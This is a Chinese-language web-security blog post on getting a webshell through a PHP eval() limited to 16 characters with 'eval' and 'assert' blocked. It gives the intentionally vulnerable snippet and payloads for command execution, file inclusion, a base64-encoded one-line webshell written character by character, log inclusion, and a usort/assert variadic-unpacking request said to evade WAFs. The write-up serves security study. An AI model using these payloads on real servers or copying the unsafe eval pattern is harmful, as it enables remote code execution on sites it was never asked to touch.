來源:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
作者: phithon@長亭科技
昨天晚上 @roker 在小密圈里問了一個問題,就是eval(xxx),xxx長度限制為16個字符,而且不能用eval或assert,怎么執行命令。
我把他的敘述寫成代碼,大概如下:
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
那么這個代碼怎么拿到webshell?
命令執行的利用
這個是我得到最多的一種答案,大部分人都是利用命令執行來繞過限制,最短的是:
param=`$_GET[1]`;&1=bash
稍長一點的可以用exec:
param=exec($_GET[1]);
這個方法我就不多說了,送分題。
遠程文件包含的利用
有的同學提到了遠程文件,但正常文件包含include $_GET[1];,這個剛好17個字符,超了一位。
不過,其實include$_GET[1];也是可以運行的,中間的空格可以不要。
這也是一個思路,但限制就是需要開啟遠程文件包含,但這個選項默認是關閉的。
本地文件包含的利用
那么,文件包含真的不行么?
有一種思路,利用file_put_contents可以將字符一個個地寫入一個文件中,大概請求如下:
param=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一個參數是文件名,我傳入N。PHP會認為N是一個常量,但我之前并沒有定義這個常量,于是PHP就會把它轉換成字符串'N';第二個參數是要寫入的數據,a也被轉換成字符串'a';第三個參數是flag,當flag=8的時候內容會追加在文件末尾,而不是覆蓋。
除了file_put_contents,error_log函數效果也類似。
但這個方法有個問題,就是file_put_contents第二個參數如果是符號,就會導致PHP出錯,比如param=$_GET[a](N,<,8);&a=file_put_contents。但如果要寫webshell的話,“<”等符號又是必不可少的。
于是微博上 @買貼膜的 想出一個辦法,每次向文件'N'中寫入一個字母或數字,最后構成一個base64字符串,再包含的時候使用php://filter對base64進行解碼即可。
最后請求如下: php
# 每次寫入一個字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
成功getshell。
本地日志包含
這是 @lem0n 師傅想到的一個方法,首先通過各種方法找到web日志,然后利用上面說的include的方式來包含之。
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log
如果找不到web日志,利用條件競爭的方法,包含tmp文件也可以,有心的同學可以試試。
標準答案:利用變長參數特性展開數組
這是我出這個題目時想的標準答案,其實也是roker提出的那個問題的一種解決方法。
變長參數是PHP5.6新引入的特性,文檔在此: http://php.net/manual/zh/migration56.new-features.php
和Python中的**kwargs,類似,在PHP中可以使用 func(...$arr)這樣的方式,將$arr數組展開成多個參數,傳入func函數。
再結合我曾提到過的回調后門( https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html ),即可構造一個完美的利用,數據包如下:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
param=usort(...$_GET);
效果圖:

大概過程就是,GET變量被展開成兩個參數['test', 'phpinfo();']和assert,傳入usort函數。usort函數的第二個參數是一個回調函數assert,其調用了第一個參數中的phpinfo();。修改phpinfo();為webshell即可。
最后說一下,這個方法基本無視任何WAF,各個WAF需要關注了。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/190/